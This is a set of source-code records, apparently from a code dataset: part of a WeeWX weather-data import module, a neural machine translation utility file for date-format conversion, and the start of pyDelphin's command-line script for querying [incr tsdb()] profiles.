_msg = "Invalid '%s' field. Cannot convert '%s' to " \
"an integer." % (self.map['interval']['field_name'],
_tfield)
raise ValueError(_msg)
else:
# if it happens to be None then raise an error
_msg = "Invalid value '%s' for mapped field '%s' at " \
"timestamp '%s'." % (_tfield,
self.map['interval']['field_name'],
timestamp_to_string(_rec['dateTime']))
raise ValueError(_msg)
else:
# we have no mapping so try to calculate it
interval = self.getInterval(_last_ts, _rec['dateTime'])
_rec['interval'] = interval
# now step through the rest of the fields in our map and process
# the fields that don't require special processing
for _field in self.map:
# skip those that have had special processing
if _field in MINIMUM_MAP:
continue
# process everything else
else:
# is our mapped field in the record
if self.map[_field]['field_name'] in _row:
# Yes it is. Try to get a value for the obs but if we
# can't catch the error
try:
_temp = float(_row[self.map[_field]['field_name']].strip())
except AttributeError:
# the data has no strip() attribute so chances are
# it's a number already
if isinstance(_row[self.map[_field]['field_name']], numbers.Number):
_temp = _row[self.map[_field]['field_name']]
elif _row[self.map[_field]['field_name']] is None:
_temp = None
else:
# it's not a string and its not a number so raise an error
_msg = "%s: cannot convert '%s' to float at " \
"timestamp '%s'." % (_field,
_row[self.map[_field]['field_name']],
timestamp_to_string(_rec['dateTime']))
raise ValueError(_msg)
except TypeError:
# perhaps we have a None, so return None for our field
_temp = None
except ValueError:
# most likely have non-numeric, non-None data
# if this is a csv import and we are mapping to a
# direction field perhaps we have a string
# representation of a cardinal, intercardinal or
# secondary intercardinal direction that we can
# convert to degrees
# set a flag to indicate whether we matched the data to a value
matched = False
if hasattr(self, 'wind_dir_map') and self.map[_field]['units'] == 'degree_compass':
# we have a csv import and we are mapping to a
# direction field
# first strip any whitespace and hyphens from
# the data
_stripped = re.sub(r'[\s-]+', '', _row[self.map[_field]['field_name']])
# try to use the data as the key in a dict
# mapping directions to degrees, if there is no
# match we will have None returned
dir_degrees = self.wind_dir_map.get(_stripped.upper())
# if we have a non-None value use it
if dir_degrees is not None:
_temp = dir_degrees
# we have a match so set our flag
matched = True
# if we did not get a match perhaps we can ignore
# the invalid data, that will depend on the
# ignore_invalid_data property
if not matched and self.ignore_invalid_data:
# we ignore the invalid data so set our result
# to None
_temp = None
# set our matched flag
matched = True
# if we did not find a match raise the error
if not matched:
_msg = "%s: cannot convert '%s' to float at " \
"timestamp '%s'." % (_field,
_row[self.map[_field]['field_name']],
timestamp_to_string(_rec['dateTime']))
raise ValueError(_msg)
# some fields need some special processing
# rain - if our imported 'rain' field is cumulative
# (self.rain == 'cumulative') then we need to calculate
# the discrete rainfall for this archive period
if _field == "rain" and self.rain == "cumulative":
_rain = self.getRain(_last_rain, _temp)
_last_rain = _temp
_temp = _rain
# wind - check any wind direction fields are within our
# bounds and convert to 0 to 360 range
if _field == "windDir" or _field == "windGustDir":
if _temp is not None and (self.wind_dir[0] <= _temp <= self.wind_dir[1]):
# normalise to 0 to 360
_temp %= 360
else:
# outside our bounds so set to None
_temp = None
# UV - if there was no UV sensor used to create the
# imported data then we need to set the imported value
# to None
if _field == 'UV' and not self.UV_sensor:
_temp = None
# solar radiation - if there was no solar radiation
# sensor used to create the imported data then we need
# to set the imported value to None
if _field == 'radiation' and not self.solar_sensor:
_temp = None
# check and ignore if required temperature and humidity
# values of 255.0 and greater
if self.ignore_extr_th \
and self.map[_field]['units'] in ['degree_C', 'degree_F', 'percent'] \
and _temp >= 255.0:
_temp = None
# if no mapped field for a unit system we have to do
# field by field unit conversions
if _units is None:
_temp_vt = ValueTuple(_temp,
self.map[_field]['units'],
weewx.units.obs_group_dict[_field])
_conv_vt = convertStd(_temp_vt, unit_sys)
_rec[_field] = _conv_vt.value
else:
# we do have a mapped field for a unit system so
# save the field in our record and continue, any
# unit conversion will be done in bulk later
_rec[_field] = _temp
else:
# No it's not. Set the field in our output to None
_rec[_field] = None
# now warn the user about this field if we have not
# already done so
if self.map[_field]['field_name'] not in _warned:
_msg = "Warning: Import field '%s' is mapped to WeeWX " \
"field '%s' but the" % (self.map[_field]['field_name'],
_field)
if not self.suppress:
print(_msg)
log.info(_msg)
_msg = " import field '%s' could not be found " \
"in one or more records." % self.map[_field]['field_name']
if not self.suppress:
print(_msg)
log.info(_msg)
_msg = " WeeWX field '%s' will be set to 'None' in these records." % _field
if not self.suppress:
print(_msg)
log.info(_msg)
# make sure we do this warning once only
_warned.append(self.map[_field]['field_name'])
# if we have a mapped field for a unit system with a valid value,
# then all we need do is set 'usUnits', bulk conversion is taken
# care of by saveToArchive()
if _units is not None:
# we have a mapped field for a unit system with a valid value
_rec['usUnits'] = _units
else:
# no mapped field for unit system but we have already converted
# any necessary fields on a field by field basis so all we need
# do is set 'usUnits', any bulk conversion will be taken care of
# by saveToArchive()
_rec['usUnits'] = unit_sys
# If interval is being derived from record timestamps our first
# record will have an interval of None. In this case we wait until
# we have the second record and then we use the interval between
# records 1 and 2 as the interval for record 1.
if len(_records) == 1 and _records[0]['interval'] is None:
_records[0]['interval'] = _rec['interval']
_last_ts = _rec['dateTime']
# this record is done, add it to our list of records to return
_records.append(_rec)
# If we have more than 1 unique value for interval in our records it
# could be a sign of missing data and impact the integrity of our data,
# so do the check and see if the user wants to continue
if len(_records) > 0:
# if we have any records to return do the unique interval check
# before we return the records
_start_interval = _records[0]['interval']
_diff_interval = False
for _rec in _records:
if _rec['interval'] != _start_interval:
_diff_interval = True
break
if _diff_interval and self.interval_ans != 'y':
# we had more than one unique value for interval, warn the user
_msg = "Warning: Records to be imported contain multiple " \
"different 'interval' values."
print(_msg)
log.info(_msg)
print(" This may mean the imported data is missing some records and it may lead")
print(" to data integrity issues. If the raw data has a known, fixed interval")
print(" value setting the relevant 'interval' setting in wee_import config to")
print(" this value may give a better result.")
while self.interval_ans not in ['y', 'n']:
if self.no_prompt:
self.interval_ans = 'y'
else:
self.interval_ans = input('Are you sure you want to proceed (y/n)? ')
if self.interval_ans == 'n':
# the user chose to abort, but we may have already
# processed some records. So log it then raise a SystemExit()
if self.dry_run:
print("Dry run import aborted by user. %d records were processed." % self.total_rec_proc)
else:
if self.total_rec_proc > 0:
print("Those records with a timestamp already in the archive will not have been")
print("imported. As the import was aborted before completion refer to the WeeWX log")
print("file to confirm which records were imported.")
raise SystemExit('Exiting.')
else:
print("Import aborted by user. No records saved to archive.")
_msg = "User chose to abort import. %d records were processed. " \
"Exiting." % self.total_rec_proc
log.info(_msg)
raise SystemExit('Exiting. Nothing done.')
_msg = "Mapped %d records." % len(_records)
if self.verbose:
print(_msg)
log.info(_msg)
# the user wants to continue or we have only one unique value for
# interval so return the records
return _records
else:
_msg = "Mapped 0 records."
if self.verbose:
print(_msg)
log.info(_msg)
# we have no records to return so return None
return None
def getInterval(self, last_ts, current_ts):
"""Determine an interval value for a record.
The interval field can be determined in one of the following ways:
- Derived from the raw data. The interval is calculated as the
difference between the timestamps of consecutive records rounded to
the nearest minute. In this case interval can change between
records if the records are not evenly spaced in time or if there
are missing records. This method is the default and is used when
the interval parameter in wee_import.conf is 'derive'.
- Read from weewx.conf. The interval value is read from the
archive_interval parameter in [StdArchive] in weewx.conf. In this
case interval may or may not be the same as the difference in time
between consecutive records. This method may be of use when the
import source has a known interval but may be missing a number of
records which makes deriving the interval from the imported data
problematic. This method is used when the interval parameter in
wee_import.conf is 'conf'.
Input parameters:
last_ts. timestamp of the previous record.
current_rain. timestamp of the current record.
Returns the interval (in minutes) for the current record.
"""
# did we have a number specified in wee_import.conf, if so use that
try:
return float(self.interval)
except ValueError:
pass
# how are we getting interval
if self.interval.lower() == 'conf':
# get interval from weewx.conf
return to_int(float(self.config_dict['StdArchive'].get('archive_interval')) / 60.0)
elif self.interval.lower() == 'derive':
# get interval from the timestamps of consecutive records
try:
_interval = int((current_ts - last_ts) / 60.0)
# but if _interval < 0 our records are not in date time order
if _interval < 0:
# so raise an error
_msg = "Cannot derive 'interval' for record timestamp: %s." % timestamp_to_string(current_ts)
print(_msg)
log.info(_msg)
raise ValueError("Raw data is not in ascending date time order.")
except TypeError:
_interval = None
return _interval
else:
# we don't know what to do so raise an error
_msg = "Cannot derive 'interval'. Unknown 'interval' setting in %s." % self.import_config_path
raise ValueError(_msg)
@staticmethod
def getRain(last_rain, current_rain):
"""Determine period rainfall from two cumulative rainfall values.
If the data source provides rainfall as a cumulative value then the
rainfall in a period is the simple difference between the two values.
But we need to take into account some special cases:
No last_rain value. Will occur for very first record or maybe in an
error condition. Need to return 0.0.
last_rain > current_rain. Occurs when rain counter was reset (maybe
daily or some other period). Need to return
current_rain.
current_rain is None. Could occur if imported rainfall value could not
be converted to a numeric and config option
ignore_invalid_data is set.
Input parameters:
last_rain. Previous rainfall total.
current_rain. Current rainfall total.
Returns the rainfall in the period.
"""
if last_rain is not None:
# we have a value for the previous period
if current_rain is not None and current_rain >= last_rain:
# just return the difference
return current_rain - last_rain
else:
# we are at a cumulative reset point or we current_rain is None,
# either way we just want current_rain
return current_rain
else:
# we have no previous rain value so return zero
return 0.0
def qc(self, data_dict, data_type):
""" Apply weewx.conf QC to a record.
If qc option is set in the import config file then apply any StdQC
min/max checks specified in weewx.conf.
Input parameters:
data_dict: A WeeWX compatible archive record.
Returns nothing. data_dict is modified directly with obs outside of QC
limits set to None.
"""
if self.apply_qc:
self.import_QC.apply_qc(data_dict, data_type=data_type)
def saveToArchive(self, archive, records):
""" Save records to the WeeWX archive.
Supports saving one or more records to archive. Each collection of
records is processed and saved to archive in transactions of
self.tranche records at a time.
if the import config file qc option was set quality checks on the
imported record are performed using the WeeWX StdQC configuration from
weewx.conf. Any missing derived observations are then added to the
archive record using the WeeWX WXCalculate class if the import config
file calc_missing option was set. WeeWX API addRecord() method is used
to add archive records.
If --dry-run was set then every aspect of the import is carried out but
nothing is saved to archive. If --dry-run was not set then the user is
requested to confirm the import before any records are saved to archive.
Input parameters:
archive: database manager object for the WeeWX archive.
records: iterable that provides WeeWX compatible archive records
(in dict form) to be written to archive
"""
# do we have any records?
if records and len(records) > 0:
# if this is the first period then give a little summary about what
# records we have
# TODO. Check that a single period shows correct and consistent console output
if self.first_period and self.last_period:
# there is only 1 period, so we can count them
print("%s records identified for import." % len(records))
# we do, confirm the user actually wants to save them
while self.ans not in ['y', 'n'] and not self.dry_run:
if self.no_prompt:
self.ans = 'y'
else:
print("Proceeding will save all imported records in the WeeWX archive.")
self.ans = input("Are you sure you want to proceed (y/n)? ")
if self.ans == 'y' or self.dry_run:
# we are going to save them
# reset record counter
nrecs = 0
# initialise our list of records for this tranche
_tranche = []
# initialise a set for use in our dry run, this lets us
# give some better stats on records imported
unique_set = set()
# step through each record in this period
for _rec in records:
# convert our record
_conv_rec = to_std_system(_rec, self.archive_unit_sys)
# perform any any required QC checks
self.qc(_conv_rec, 'Archive')
# add the record to our tranche and increment our count
_tranche.append(_conv_rec)
nrecs += 1
# if we have a full tranche then save to archive and reset
# the tranche
if len(_tranche) >= self.tranche:
# add the record only if it is not a dry run
if not self.dry_run:
# add the record only if it is not a dry run
archive.addRecord(_tranche)
# add our the dateTime for each record in our tranche
# to the dry run set
for _trec in _tranche:
unique_set.add(_trec['dateTime'])
# tell the user what we have done
_msg = "Unique records processed: %d; Last timestamp: %s\r" % (nrecs,
timestamp_to_string(_rec['dateTime']))
print(_msg, end='', file=sys.stdout)
sys.stdout.flush()
_tranche = []
# we have processed all records but do we have any records left
# in the tranche?
if len(_tranche) > 0:
# we do so process them
if not self.dry_run:
# add the record only if it is not a dry run
archive.addRecord(_tranche)
# add our the dateTime for each record in our tranche to
# the dry run set
for _trec in _tranche:
unique_set.add(_trec['dateTime'])
# tell the user what we have done
_msg = "Unique records processed: %d; Last timestamp: %s\r" % (nrecs,
timestamp_to_string(_rec['dateTime']))
print(_msg, end='', file=sys.stdout)
print()
sys.stdout.flush()
# update our counts
self.total_rec_proc += nrecs
self.total_unique_rec += len(unique_set)
# mention any duplicates we encountered
num_duplicates = len(self.period_duplicates)
self.total_duplicate_rec += num_duplicates
if num_duplicates > 0:
if num_duplicates == 1:
_msg = " 1 duplicate record was identified in period %d:" % self.period_no
else:
_msg = " %d duplicate records were identified in period %d:" % (num_duplicates,
self.period_no)
if not self.suppress:
print(_msg)
log.info(_msg)
for ts in sorted(self.period_duplicates):
_msg = " %s" % timestamp_to_string(ts)
if not self.suppress:
print(_msg)
log.info(_msg)
# add the period duplicates to the overall duplicates
self.duplicates |= self.period_duplicates
# reset the period duplicates
self.period_duplicates = set()
elif self.ans == 'n':
# user does not want to import so display a message and then
# ask to exit
_msg = "User chose not to import records. Exiting. Nothing done."
print(_msg)
log.info(_msg)
raise SystemExit('Exiting. Nothing done.')
else:
# we have no records to import, advise the user but what we say
# will depend if there are any more periods to import
if self.first_period and self.last_period:
# there was only 1 period
_msg = 'No records identified for import.'
else:
# multiple periods
_msg = 'Period %d - no records identified for import.' % self.period_no
print(_msg)
# if we have finished record the time taken for our summary
if self.last_period:
self.tdiff = time.time() - self.t1
# ============================================================================
# Utility functions
# ============================================================================
def get_binding(config_dict):
"""Get the binding for the WeeWX database."""
# Extract our binding from the StdArchive section of the config file. If
# it's missing, return None.
if 'StdArchive' in config_dict:
db_binding_wx = config_dict['StdArchive'].get('data_binding',
'wx_binding')
else:
db_binding_wx = None
return db_binding_wx
| [
"[email protected]"
] | |
928912bc219dbc93b8a5897d85c493b2348490a2 | 11492c36fc15375ca23d3ba4dfa042b16f873a68 | /notebooks/05-sequence-models/03-sequence-models-attention-mechanism/01-machine-translation/nmt_utils.py | c9cf015706d07f25662d65ff2d4ed24f788d475c | [
"Apache-2.0"
] | permissive | pedro-abundio-wang/deep-learning-specialization | c9bfe03c32275845dbef1a3d9268c337593ac146 | 47f4109eddae94c1ce978d63d7672972762ac815 | refs/heads/master | 2021-07-13T13:11:47.391704 | 2020-09-10T05:30:47 | 2020-09-10T05:30:47 | 203,183,384 | 0 | 0 | Apache-2.0 | 2019-11-04T11:53:50 | 2019-08-19T13:56:19 | Jupyter Notebook | UTF-8 | Python | false | false | 6,514 | py | import numpy as np
from faker import Faker
import random
from tqdm import tqdm
from babel.dates import format_date
from keras.utils import to_categorical
import keras.backend as K
import matplotlib.pyplot as plt
Faker.seed(12345)
fake = Faker()
random.seed(12345)
# Define format of the data we would like to generate
FORMATS = ['medium',
'long',
'full',
'd MM YYY',
'd MMM YYY',
'd MMMM YYY',
'd MMM, YYY',
'd MMMM, YYY',
'dd.MM.YYY',
'dd MMM YYY',
'dd, MMM YYY',
'MMMM d YYY',
'MMMM d, YYY']
# change this if you want it to work with another language
LOCALES = ['en_US']
def load_date():
"""
Loads some fake dates
:returns: tuple containing human readable string, machine readable string, and date object
"""
dt = fake.date_object()
try:
human_readable = format_date(dt, format=random.choice(FORMATS), locale='en_US') # locale=random.choice(LOCALES))
human_readable = human_readable.lower()
human_readable = human_readable.replace(',','')
machine_readable = dt.isoformat()
except AttributeError as e:
return None, None, None
return human_readable, machine_readable, dt
def load_dataset(m):
"""
Loads a dataset with m examples and vocabularies
:m: the number of examples to generate
"""
human_vocab = set()
machine_vocab = set()
dataset = []
Tx = 30
for i in tqdm(range(m)):
h, m, dt = load_date()
if h is not None:
dataset.append((h, m))
human_vocab.update(tuple(h))
machine_vocab.update(tuple(m))
human = dict(zip(sorted(human_vocab) + ['<unk>', '<pad>'],
list(range(len(human_vocab) + 2))))
inv_machine = dict(enumerate(sorted(machine_vocab)))
machine = {v:k for k,v in inv_machine.items()}
return dataset, human, machine, inv_machine
def preprocess_data(dataset, human_vocab, machine_vocab, Tx, Ty):
X, Y = zip(*dataset)
X = np.array([string_to_int(x, Tx, human_vocab) for x in X])
Y = np.array([string_to_int(y, Ty, machine_vocab) for y in Y])
Xoh = np.array(list(map(lambda x: to_categorical(x, num_classes=len(human_vocab)), X)))
Yoh = np.array(list(map(lambda y: to_categorical(y, num_classes=len(machine_vocab)), Y)))
return X, Y, Xoh, Yoh
def string_to_int(string, length, vocab):
"""
Converts all strings in the vocabulary into a list of integers representing the positions of the
input string's characters in the "vocab"
Arguments:
string -- input string, e.g. 'Wed 10 Jul 2007'
length -- the number of time steps you'd like, determines if the output will be padded or cut
vocab -- vocabulary, dictionary used to index every character of your "string"
Returns:
rep -- list of integers (or '<unk>') (size = length) representing the position of the string's character in the vocabulary
"""
# make lower to standardize
string = string.lower()
string = string.replace(',','')
if len(string) > length:
string = string[:length]
rep = list(map(lambda x: vocab.get(x, '<unk>'), string))
if len(string) < length:
rep += [vocab['<pad>']] * (length - len(string))
return rep
def int_to_string(ints, inv_vocab):
"""
Output a machine readable list of characters based on a list of indexes in the machine's vocabulary
Arguments:
ints -- list of integers representing indexes in the machine's vocabulary
inv_vocab -- dictionary mapping machine readable indexes to machine readable characters
Returns:
l -- list of characters corresponding to the indexes of ints thanks to the inv_vocab mapping
"""
l = [inv_vocab[i] for i in ints]
return l
def softmax(x, axis=1):
"""Softmax activation function.
# Arguments
x : Tensor.
axis: Integer, axis along which the softmax normalization is applied.
# Returns
Tensor, output of softmax transformation.
# Raises
ValueError: In case `dim(x) == 1`.
"""
ndim = K.ndim(x)
if ndim == 2:
return K.softmax(x)
elif ndim > 2:
e = K.exp(x - K.max(x, axis=axis, keepdims=True))
s = K.sum(e, axis=axis, keepdims=True)
return e / s
else:
raise ValueError('Cannot apply softmax to a tensor that is 1D')
def plot_attention_map(model, input_vocabulary, inv_output_vocabulary, text, n_s = 128, num = 6, Tx = 30, Ty = 10):
"""
Plot the attention map.
"""
attention_map = np.zeros((10, 30))
Ty, Tx = attention_map.shape
s0 = np.zeros((1, n_s))
c0 = np.zeros((1, n_s))
layer = model.layers[num]
encoded = np.array(string_to_int(text, Tx, input_vocabulary)).reshape((1, 30))
encoded = np.array(list(map(lambda x: to_categorical(x, num_classes=len(input_vocabulary)), encoded)))
f = K.function(model.inputs, [layer.get_output_at(t) for t in range(Ty)])
r = f([encoded, s0, c0])
for t in range(Ty):
for t_prime in range(Tx):
attention_map[t][t_prime] = r[t][0,t_prime,0]
prediction = model.predict([encoded, s0, c0])
predicted_text = []
for i in range(len(prediction)):
predicted_text.append(int(np.argmax(prediction[i], axis=1)))
predicted_text = list(predicted_text)
predicted_text = int_to_string(predicted_text, inv_output_vocabulary)
text_ = list(text)
# get the lengths of the string
input_length = len(text)
output_length = Ty
# Plot the attention_map
plt.clf()
f = plt.figure(figsize=(8, 8.5))
ax = f.add_subplot(1, 1, 1)
# add image
i = ax.imshow(attention_map, interpolation='nearest', cmap='Blues')
# add colorbar
cbaxes = f.add_axes([0.2, 0, 0.6, 0.03])
cbar = f.colorbar(i, cax=cbaxes, orientation='horizontal')
cbar.ax.set_xlabel('Alpha value (Probability output of the "softmax")', labelpad=2)
# add labels
ax.set_yticks(range(output_length))
ax.set_yticklabels(predicted_text[:output_length])
ax.set_xticks(range(input_length))
ax.set_xticklabels(text_[:input_length], rotation=45)
ax.set_xlabel('Input Sequence')
ax.set_ylabel('Output Sequence')
# add grid and legend
ax.grid()
f.show()
return attention_map | [
"[email protected]"
] | |
53cbe1480bc73311da9403ad7b06b8861aeedb17 | fd8e7e196f0bcadf28243ce5108f00b9de956dc5 | /pyDelphin | c3c8d7ed0ec5b975e63bdcebf95d37ad552c057e | [
"MIT"
] | permissive | Yoonsen/pydelphin | a5c9ed2ca22c60ed942eace9ccba12560c8be12e | 08e000f4bc55c46b607595aee7e1bcc2d5b658c1 | refs/heads/master | 2020-04-29T17:32:43.800827 | 2015-08-25T06:18:19 | 2015-08-25T06:18:19 | 47,044,673 | 1 | 0 | null | 2015-11-29T00:37:21 | 2015-11-29T00:37:21 | null | UTF-8 | Python | false | false | 15,633 | #!/usr/bin/env python3
import sys
import os
import argparse
import logging
import json
import re
from collections import OrderedDict
from copy import deepcopy
from importlib import import_module
from delphin import itsdb, mrs
_rcfilename = '.pydelphinrc'
def main(args):
cfg = load_config(args)
args.func(args, cfg)
def select(args, cfg):
in_profile = prepare_input_profile(cfg['input'],
filters=cfg.get('filters'),
applicators=cfg.get('applicators'))
keyfilter = cfg['cascade_filters']
if args.join:
rows = in_profile.join(*args.join, key_filter=keyfilter)
# Adding : is just for robustness. We need something like
# :table:col@table@col, but may have gotten table:col@table@col
if not args.select.startswith(':'):
args.select = ':' + args.select
table, cols = itsdb.get_data_specifier(args.select)
else:
table, cols = itsdb.get_data_specifier(args.select)
rows = in_profile.read_table(table, key_filter=keyfilter)
for row in itsdb.select_rows(cols, rows, mode='row'):
print(row)
def mkprof(args, cfg):
in_profile = prepare_input_profile(cfg['input'],
filters=cfg.get('filters'),
applicators=cfg.get('applicators'))
outdir = args.output
# copy relations file
relations = None
if hasattr(args, 'relations') and args.relations is not None:
relations = args.relations
elif hasattr(args, 'input'):
rel_fn = cfg.get('itsdb_relations_filename', 'relations')
relations = os.path.join(args.input, rel_fn)
assert(os.path.isfile(relations))
if args.skeleton:
rows = in_profile.read_table('item', key_filter=cfg['cascade_filters'])
itsdb.make_skeleton(outdir, relations, rows)
else:
prepare_output_directory(outdir, cfg)
in_profile.write_profile(outdir,
relations_filename=relations,
key_filter=cfg['cascade_filters'])
prof = itsdb.ItsdbProfile(outdir, index=False)
return prof
def compare(args, cfg):
from delphin.mrs.compare import compare_bags
from delphin.mrs import simplemrs
test_profile = prepare_input_profile(cfg['input'],
filters=cfg.get('filters'),
applicators=cfg.get('applicators'))
gold_profile = prepare_input_profile(args.gold)
matched_rows = itsdb.match_rows(
test_profile.read_table('result'),
gold_profile.read_table('result'),
'parse-id'
)
for (key, testrows, goldrows) in matched_rows:
(test_unique, shared, gold_unique) = compare_bags(
[simplemrs.loads_one(row['mrs']) for row in testrows],
[simplemrs.loads_one(row['mrs']) for row in goldrows]
)
print('{}\t<{},{},{}>'.format(key, test_unique, shared, gold_unique))
def load_config(args):
"""
Load a configuration file. Configurations may be loaded from 3 places. In
order of precedence:
1. the argument of the -c (--config) option
2. a .pydelphinrc file in the current directory
3. a .pydelphinrc file in the $HOME directory
Only one of the above may be loaded. Additionally, configuration options
given explicitly at the command line override any loaded values.
"""
if args.config is not None:
if not os.path.exists(args.config):
sys.exit('Config file not found: {}'.format(args.config))
# will be loaded below
elif os.path.exists(os.path.join(os.getcwd(), _rcfilename)):
args.config = os.path.join(os.getcwd(), _rcfilename)
elif os.path.exists(os.path.join(os.environ['HOME'], _rcfilename)):
args.config = os.path.join(os.environ['HOME'], _rcfilename)
else:
sys.exit('No config file found. Exiting.')
logging.debug('Loading the config file found at {}'.format(args.config))
with open(args.config, 'r') as config:
cfg = json.loads(strip_json_comments(config),
object_pairs_hook=OrderedDict)
# override the loaded values with those from the command-line
cfg.update({
'verbosity': args.verbosity,
'input': args.input or cfg.get('input'),
#'output': args.output or cfg.get('output'),
#'relations': args.relations or cfg.get('relations'),
#'select': args.select or cfg.get('select'),
'applicators': args.applicators or cfg.get('applicators', []),
'filters': args.filters or cfg.get('filters', []),
'cascade_filters': args.cascade_filters or
cfg.get('cascade_filters', False)
})
# if relations is still unset, try to get from input
# if not cfg.get('relations') and cfg.get('input'):
# try:
# rel_fn = config['itsdb']['relations_filename']
# except KeyError:
# rel_fn = 'relations'
# in_rel_path = os.path.join(cfg['input'], rel_fn)
# if os.path.isfile(in_rel_path):
# cfg['relations'] = in_rel_path
# these overrides need some nesting, so do them separate
# if 'variables' not in cfg:
# cfg['variables'] = {}
# if args.source_grammar:
# cfg['variables']['source_grammar'] = args.source_grammar
# if args.transfer_grammar:
# cfg['variables']['transfer_grammar'] = args.transfer_grammar
# if args.target_grammar:
# cfg['variables']['target_grammar'] = args.target_grammar
# if args.grammar:
# cfg['variables']['grammar'] = args.grammar
return cfg
json_single_comment_re = re.compile(r'^\s*//')
json_start_comment_re = re.compile(r'^\s*/\*')
json_end_comment_re = re.compile(r'\*/\s*$')
def strip_json_comments(fh):
in_comment = False
lines = []
for line in fh:
if in_comment:
if json_end_comment_re.search(line):
in_comment = False
elif json_start_comment_re.match(line):
in_comment = True
elif not json_single_comment_re.match(line):
lines.append(line)
return ''.join(lines)
def validate(args, cfg):
""" Validate arguments not caught by argparse. """
# if args.list:
# return True
valid = True
#if len(args.commands) == 0:
# logging.error('At least one command is required.')
# valid = False
#if args.output is None:
# logging.error('An --output argument is required.')
# valid = False
if args.input is None:
logging.error('An --input argument is required.')
valid = False
relations = cfg.get('relations')
if relations:
if not os.path.isfile(cfg['relations']):
logging.error('Relations file not found: {}'.format(relations))
valid = False
elif args.output and not args.input:
logging.error('No relations file found for the output profile.')
valid = False
return valid
def prepare_input_profile(path, filters=None, applicators=None):
filters = [make_itsdb_action(ds, f) for ds, f in (filters or [])]
applicators = [make_itsdb_action(ds, f) for ds, f in (applicators or [])]
index = len(filters) > 0
prof = itsdb.ItsdbProfile(path,
filters=filters,
applicators=applicators,
index=index)
return prof
def prepare_output_directory(path, config):
try:
os.makedirs(path, exist_ok=True)
except PermissionError:
logging.critical('Permission denied to create output directory: {}'
.format(path))
sys.exit(1)
if not os.access(path, os.R_OK|os.W_OK):
logging.critical('Cannot write to output directory: {}'
.format(path))
sys.exit(1)
# copy configuration for documentation
# TODO: allow for multiple configs in same directory (e.g. (PID).rcfile)
rcpath = os.path.join(path, _rcfilename)
if not os.path.exists(rcpath):
with open(rcpath, 'w') as config_file:
json.dump(config, config_file, indent=2)
else:
logging.warning('Config file path already exists: {}'.format(rcpath))
def list_commands(config):
print('Commands:')
for c, cmd in config['commands'].items():
print(' {}: {}'.format(c, cmd.get('description')))
def make_command(command, cfg):
# make a copy so changes for this command do not affect later ones
cmd = deepcopy(cfg['commands'][command])
cpu_name = cmd['cpu']
cpu = cfg['cpus'][cpu_name]
task_name = cmd['task']
task = cpu['tasks'][task_name]
cmd['executable'] = cpu['executable']
cmd['arguments'] = cpu.get('arguments', []) + task.get('arguments', [])
cmd['interface'] = cpu.get('interface', 'generic')
# if grammar is given explicitly, use it, otherwise use
# task-specific grammar (already in the command)
if cfg.get('grammar'):
cmd['grammar'] = cfg['grammar']
return cmd
def get_interface(interface_name):
return import_module('{}.{}'.format('delphin.interfaces', interface_name))
def make_itsdb_action(data_specifier, function):
table, cols = itsdb.get_data_specifier(data_specifier)
function = make_lambda_function(function)
return (table, cols, function)
def make_lambda_function(function):
return eval('lambda row, x:{}'.format(function))
if __name__ == '__main__':
parser = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
description='''
DATA SPECIFIERS
The --select, --apply, and --filter options take as a first argument
a string to specify the table and, if desired or necessary, the column
from a [incr tsdb()] profile to draw data from. These take the form:
TABLE[:COL[@COL..]]
For example, this selects an entire row from the `item` table:
item
while this selects the `i-id` and `i-input` columns for each row:
item:i-id@i-input
For --select and --filter, the COL specifiers are optional. For
--apply, at least one COL is required.
FILTER/APPLY EXPRESSIONS
The --filter and --apply options take as a second argument a small
Python expression to be evaluated. This expression is turned into a
lambda expression like this:
f = lambda row, x: EXPR
Thus, EXPR can use `row`, which is the contents of the entire row as a
Python dictionary, and `x` is the value of the current column (if COLs
are specified, otherwise it is None). The type of `x` is a string for
--apply, and it will be a string for --filter unless an --apply
operation has recast it. For example, these are equivalent and select
all rows in `item` where the `i-id` field has an integer value less
than 10:
--filter item "int(row['i-id']) < 10"
--filter item:i-id "int(x) < 10"
--apply item:i-id "int(x)" --filter item:i-id "x < 10"
Note, however, that the last one with the --apply operation differs in
that the value of `item:i-id` remains an `int` after the filtering.
'''
)
add = parser.add_argument
add('-c', '--config',
metavar='CFG',
help='The configuration file describing possible commands.')
# the --list option is a specific kind of help that uses the config.
# When it is not used, --outdir and a command are required, but we
# can't use argparse to state the requirement (validate later)
#add('-l', '--list',
# action='store_true',
# help='List the commands allowed by the configuration.')
add('-v', '--verbose',
action='count', dest='verbosity', default=2,
help='Increase the verbosity (can be repeated: -vvv).')
add('-q', '--quiet',
action='store_const', const=0, dest='verbosity',
help='Set verbosity to the quietest level.')
add('-i', '--input',
metavar='PATH',
help='The [incr tsdb()] profile to use as input.')
add('-a', '--apply',
nargs=2, metavar=('TBL:COL[@COL..]', 'EXPR'),
action='append', dest='applicators',
help='Apply EXPR to the contents of COL for each COL for each row '
'in TBL. See also the section about DATA SPECIFIERS and '
'FILTER/APPLY EXPRESSIONS. e.g. '
'--apply result:mrs "mrs.convert(x, \'mrx\', \'dmrx\')"')
add('-f', '--filter',
nargs=2, metavar=('TBL[:COL[@COL..]]', 'EXPR'),
action='append', dest='filters',
help='Ignore rows where EXPR returns a non-true value. TBL restricts '
'the filter to rows of that table. Specifying COLs makes the '
'filter run for each COL, but only if the COL exists in the '
'table. It is an error if neither TBL nor COLs are specified. '
'See also the section about DATA SPECIFIERS and FILTER/APPLY '
'EXPRESSIONS. Filters do not cascade by default (See '
'--cascade-filters). e.g. '
'--filter item "int(row[\'i-length\']) < 5"')
add('--cascade-filters',
action='store_true',
help='If --filter is used, the filter applies to dependent tables '
'as well. For example, `parse` rows sharing an `i-id` with a '
'filtered `item` will be filtered as well. This effect is '
'transitive, so `result` rows sharing a `parse-id` with a '
'`parse` row filtered by the cascade will also be filtered.')
subparsers = parser.add_subparsers(help='sub-command help')
select_parser = subparsers.add_parser(
'select', help='select data from a profile'
)
select_parser.add_argument(
'select', metavar='TBL[:COL[@COL..]]',
help='Print the contents of each row in TBL. If COLs are specified, '
'only print contents of these columns. See also the section '
'about DATA SPECIFIERS. e.g. item:i-input@i-wf'
)
select_parser.add_argument(
'--join', nargs=2, metavar=('TBL1', 'TBL2'),
help='Join TBL1 and TBL2 on the first key shared by both. A --select '
'operation can then omit the TBL of the data specifier in order '
'to select from the joined table (--apply and --filter still '
'operate on the original profile), and COL specifiers must be '
'prefixed with the respective table. e.g. '
'select --join parse result parse:i-id@result:mrs'
)
select_parser.set_defaults(func=select)
mkprof_parser = subparsers.add_parser('mkprof', help='write a new profile')
mkprof_parser.add_argument(
